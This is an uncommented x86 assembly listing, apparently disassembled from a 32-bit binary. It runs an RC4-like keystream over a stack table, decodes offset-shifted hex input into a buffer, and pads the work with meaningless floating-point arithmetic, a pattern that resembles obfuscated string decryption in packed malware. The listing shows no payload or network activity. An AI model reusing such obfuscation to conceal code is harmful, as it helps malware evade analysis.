movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
xor eax, edx
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3285]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
movzx ecx, byte [ebp - 0x32b8]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov byte [ebp - 0x326f], al
mov dl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], dl
mov al, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], al
cmp dword [ebp - 0x3340], 0
jle 0x436aef
movsx cx, byte [ebp - 0x330f]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x2ba], cx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x34f4]
add ecx, 1
mov dword [ebp - 0x34f4], ecx
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x36ec], edx
mov eax, dword [ebp - 0x36f0]
add eax, dword [ebp - 0x36ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x3614], ecx
mov dword [ebp - 0x3618], 0xd2
mov edx, dword [ebp - 0x3340]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x36f4], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x361c], edx
mov dword [ebp - 0x3620], 0xc7
mov eax, dword [ebp - 0x3614]
sub eax, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], eax
mov ecx, dword [ebp - 0x361c]
sub ecx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], ecx
mov edx, dword [ebp - 0x3624]
shl edx, 4
mov dword [ebp - 0x36f8], edx
mov eax, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], eax
mov ecx, dword [ebp - 0x36f8]
or ecx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], ecx
mov dl, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], dl
movzx eax, byte [ebp - 0x3285]
mov cl, byte [ebp + eax - 0x50cc]
mov byte [ebp - 0x32b9], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp - 0x3270]
add ecx, eax
mov byte [ebp - 0x3270], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32b9]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x32b9]
movzx eax, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp - 0x32b8]
add ecx, eax
mov byte [ebp - 0x32b8], cl
movzx edx, byte [ebp - 0x32b7]
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x50cc]
xor edx, ecx
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx eax, byte [ebp - 0x3285]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
movzx eax, byte [ebp - 0x32b8]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp + ecx - 0x50cc]
xor edx, eax
mov byte [ebp - 0x326f], dl
mov cl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], cl
mov dl, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], dl
cmp dword [ebp - 0x3340], 0
jle 0x436d4a
movsx ax, byte [ebp - 0x330f]
mov ecx, dword [ebp - 0x3340]
mov word [ebp + ecx*2 - 0x2ba], ax
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
mov eax, dword [ebp - 0x34f4]
add eax, 1
mov dword [ebp - 0x34f4], eax
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x36ec], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36ec]
movzx eax, byte [edx]
mov dword [ebp - 0x3614], eax
mov dword [ebp - 0x3618], 0xd2
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x36f4], edx
mov eax, dword [ebp - 0x36f0]
add eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x361c], ecx
mov dword [ebp - 0x3620], 0xc7
mov edx, dword [ebp - 0x3614]
sub edx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], edx
mov eax, dword [ebp - 0x361c]
sub eax, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], eax
mov ecx, dword [ebp - 0x3624]
shl ecx, 4
mov dword [ebp - 0x36f8], ecx
mov edx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x36f8]
or eax, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], eax
mov cl, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], cl
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x32b9], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x3270]
add eax, edx
mov byte [ebp - 0x3270], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3285]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326f]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32b9]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x32b9]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x32b8]
add eax, edx
mov byte [ebp - 0x32b8], al
movzx ecx, byte [ebp - 0x32b7]
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
xor ecx, eax
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3285]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
movzx edx, byte [ebp - 0x32b8]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp + eax - 0x50cc]
xor ecx, edx
mov byte [ebp - 0x326f], cl
mov al, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], al
mov cl, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], cl
cmp dword [ebp - 0x3340], 0
jle 0x436fa3
movsx dx, byte [ebp - 0x330f]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x2ba], dx
mov ecx, dword [ebp - 0x34f4]
add ecx, 0x11
mov dword [ebp - 0x34f4], ecx
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x4b68], edx
jmp 0x436fd2
mov eax, dword [ebp - 0x4b68]
add eax, 1
mov dword [ebp - 0x4b68], eax
mov ecx, dword [ebp - 0x4b68]
cmp ecx, dword [ebp - 0x34f4]
jge 0x437234
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x3614], edx
mov dword [ebp - 0x3618], 0xd2
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0xc7
mov ecx, dword [ebp - 0x3614]
sub ecx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], ecx
mov edx, dword [ebp - 0x361c]
sub edx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], edx
mov eax, dword [ebp - 0x3624]
shl eax, 4
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x36f8]
or edx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], edx
mov al, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], al
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x3270]
add edx, ecx
mov byte [ebp - 0x3270], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32b9]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x32b9]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x32b8]
add edx, ecx
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x32b7]
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
xor eax, edx
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3285]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
movzx ecx, byte [ebp - 0x32b8]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov byte [ebp - 0x326f], al
mov dl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], dl
mov al, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], al
cmp dword [ebp - 0x3340], 0
jle 0x43722f
movsx cx, byte [ebp - 0x330f]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x2ba], cx
jmp 0x436fc3
mov eax, dword [ebp - 0x34f4]
add eax, 1
mov dword [ebp - 0x34f4], eax
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x34f4]
add edx, 1
mov dword [ebp - 0x34f4], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x3614], edx
mov dword [ebp - 0x3618], 0xd2
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0xc7
mov ecx, dword [ebp - 0x3614]
sub ecx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], ecx
mov edx, dword [ebp - 0x361c]
sub edx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], edx
mov eax, dword [ebp - 0x3624]
shl eax, 4
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x36f8]
or edx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], edx
mov al, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], al
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x3270]
add edx, ecx
mov byte [ebp - 0x3270], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32b9]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x32b9]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x32b8]
add edx, ecx
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x32b7]
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
xor eax, edx
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3285]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
movzx ecx, byte [ebp - 0x32b8]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov byte [ebp - 0x326f], al
mov dl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], dl
mov al, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], al
cmp dword [ebp - 0x3340], 0
jle 0x43749d
movsx cx, byte [ebp - 0x330f]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x2ba], cx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x34f4]
add ecx, 1
mov dword [ebp - 0x34f4], ecx
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x36ec], edx
mov eax, dword [ebp - 0x36f0]
add eax, dword [ebp - 0x36ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x3614], ecx
mov dword [ebp - 0x3618], 0xd2
mov edx, dword [ebp - 0x3340]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x36f4], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x361c], edx
mov dword [ebp - 0x3620], 0xc7
mov eax, dword [ebp - 0x3614]
sub eax, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], eax
mov ecx, dword [ebp - 0x361c]
sub ecx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], ecx
mov edx, dword [ebp - 0x3624]
shl edx, 4
mov dword [ebp - 0x36f8], edx
mov eax, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], eax
mov ecx, dword [ebp - 0x36f8]
or ecx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], ecx
mov dl, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], dl
movzx eax, byte [ebp - 0x3285]
mov cl, byte [ebp + eax - 0x50cc]
mov byte [ebp - 0x32b9], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp - 0x3270]
add ecx, eax
mov byte [ebp - 0x3270], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x50cc]
mov byte [ebp + ecx - 0x50cc], dl
movsd xmm0, qword [0xa71f88]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [0xa71f08]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [0xa71e20]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [0xa71c78]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [0xa71aa8]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [0xa717f0]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3e84]
subsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3de8]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3e84]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3de8]
subsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3e84]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3de8]
comisd xmm0, xmmword [ebp - 0x3654]
jbe 0x4377b8
movsd xmm0, qword [ebp - 0x3e7c]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x4034]
subsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
subsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3de0]
addsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3de0]
addsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3de0], xmm0
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32b9]
mov byte [ebp + eax - 0x50cc], cl
jmp 0x437bde
movsd xmm0, qword [ebp - 0x3654]
divsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3de8]
subsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3de8]
divsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3654]
addsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3de8]
subsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3de0]
subsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3e84]
mulsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3654]
subsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3654]
addsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3de0]
mulsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3654]
subsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x4034]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
comisd xmm0, xmmword [ebp - 0x3654]
jbe 0x437b4e
movsd xmm0, qword [ebp - 0x3e7c]
subsd xmm0, qword [ebp - 0x4034]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3e84]
mulsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x4034]
divsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x3e84]
subsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3654]
subsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3654]
divsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3de0]
subsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3de8]
addsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3e84]
addsd xmm0, qword [ebp - 0x4034]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
mulsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3de8]
subsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3de0]
addsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3654]
comisd xmm0, xmmword [ebp - 0x3de0]
jbe 0x437ab9
movsd xmm0, qword [ebp - 0x3654]
divsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3654]
subsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x3e84]
divsd xmm0, qword [ebp - 0x4034]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3e84]
mulsd xmm0, qword [ebp - 0x4034]
movsd qword [ebp - 0x3e84], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
subsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3de0]
subsd xmm0, qword [ebp - 0x3e7c]
movsd qword [ebp - 0x3de0], xmm0
jmp 0x437b49
movsd xmm0, qword [ebp - 0x3de0]
subsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x3de0]
addsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x4034]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x4034]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x3de0]
subsd xmm0, qword [ebp - 0x3e84]
movsd qword [ebp - 0x3de0], xmm0
movsd xmm0, qword [ebp - 0x4034]
addsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
jmp 0x437bde
movsd xmm0, qword [ebp - 0x3de8]
mulsd xmm0, qword [ebp - 0x3de0]
movsd qword [ebp - 0x3de8], xmm0
movsd xmm0, qword [ebp - 0x3654]
subsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x4034]
mulsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movsd xmm0, qword [ebp - 0x3e7c]
addsd xmm0, qword [ebp - 0x4034]
movsd qword [ebp - 0x3e7c], xmm0
movsd xmm0, qword [ebp - 0x3654]
mulsd xmm0, qword [ebp - 0x3de8]
movsd qword [ebp - 0x3654], xmm0
movsd xmm0, qword [ebp - 0x4034]
divsd xmm0, qword [ebp - 0x3654]
movsd qword [ebp - 0x4034], xmm0
movzx edx, byte [ebp - 0x32b9]
movzx eax, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp - 0x32b8]
add ecx, eax
mov byte [ebp - 0x32b8], cl
movzx edx, byte [ebp - 0x32b7]
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x50cc]
xor edx, ecx
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx eax, byte [ebp - 0x3285]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
movzx eax, byte [ebp - 0x32b8]
movzx eax, byte [ebp + eax - 0x50cc]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp + ecx - 0x50cc]
xor edx, eax
mov byte [ebp - 0x326f], dl
mov cl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], cl
mov dl, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], dl
cmp dword [ebp - 0x3340], 0
jle 0x437cb9
movsx ax, byte [ebp - 0x330f]
mov ecx, dword [ebp - 0x3340]
mov word [ebp + ecx*2 - 0x2ba], ax
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
mov eax, dword [ebp - 0x34f4]
add eax, 1
mov dword [ebp - 0x34f4], eax
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x36ec], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36ec]
movzx eax, byte [edx]
mov dword [ebp - 0x3614], eax
mov dword [ebp - 0x3618], 0xd2
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x36f4], edx
mov eax, dword [ebp - 0x36f0]
add eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
mov dword [ebp - 0x361c], ecx
mov dword [ebp - 0x3620], 0xc7
mov edx, dword [ebp - 0x3614]
sub edx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], edx
mov eax, dword [ebp - 0x361c]
sub eax, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], eax
mov ecx, dword [ebp - 0x3624]
shl ecx, 4
mov dword [ebp - 0x36f8], ecx
mov edx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x36f8]
or eax, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], eax
mov cl, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], cl
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x32b9], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x3270]
add eax, edx
mov byte [ebp - 0x3270], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3285]
